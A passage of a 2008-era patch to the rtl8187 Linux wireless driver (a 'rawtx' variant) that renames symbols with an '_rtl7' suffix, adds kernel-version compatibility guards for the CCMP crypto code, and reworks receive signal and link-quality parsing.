reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-01-30 17:38:11.000000000 +0100 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-01-30 17:38:11.000000000 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-01-30 17:38:11.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-01-30 17:38:11.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 